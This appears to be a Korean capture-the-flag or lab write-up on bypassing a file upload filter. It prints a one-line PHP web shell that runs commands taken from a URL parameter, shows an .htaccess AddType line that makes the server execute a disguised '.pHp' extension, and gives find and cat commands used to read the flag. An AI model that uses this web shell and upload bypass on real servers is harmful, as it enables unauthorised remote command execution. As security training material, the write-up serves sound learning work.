※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다. (Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
<?php echo system($_GET['cmd']); ?> 위 코드를 가진 webshell.pHp 파일을, 2번 문제 방법으로 필터링을 우회하여 업로드한다. pHp가 뭔데? 몰루?하는 반응이다. cmd 파라미터를 넣어도 마찬가지이다. 웹 서버가 pHp를 모르는 척 한다. 네가 할 일이라는 것을 일깨워 주도록 해보자.
디렉터리 단위에 웹 서버 설정 파일 생성 .htaccess (hypertext access) .htaccess 파일을 만들고 내용은 아래의 내용을 추가 한다. AddType application/x-httpd-php .pHp 의미는 pHp 확장자를 가진 파일을 php로 실행하라는 것이다. (오타) type에 t를 소문자로 써버렸는데, 작동은 되었다. 대문자로 작성하는 것을 권장한다.
이제 웹 쉘을 다시 실행시켜보자! 웹 쉘 실행 성공.
find / -name flag.txt 로 파일을 찾고, cat 경로/flag.txt로 플래그를 획득하면 성공.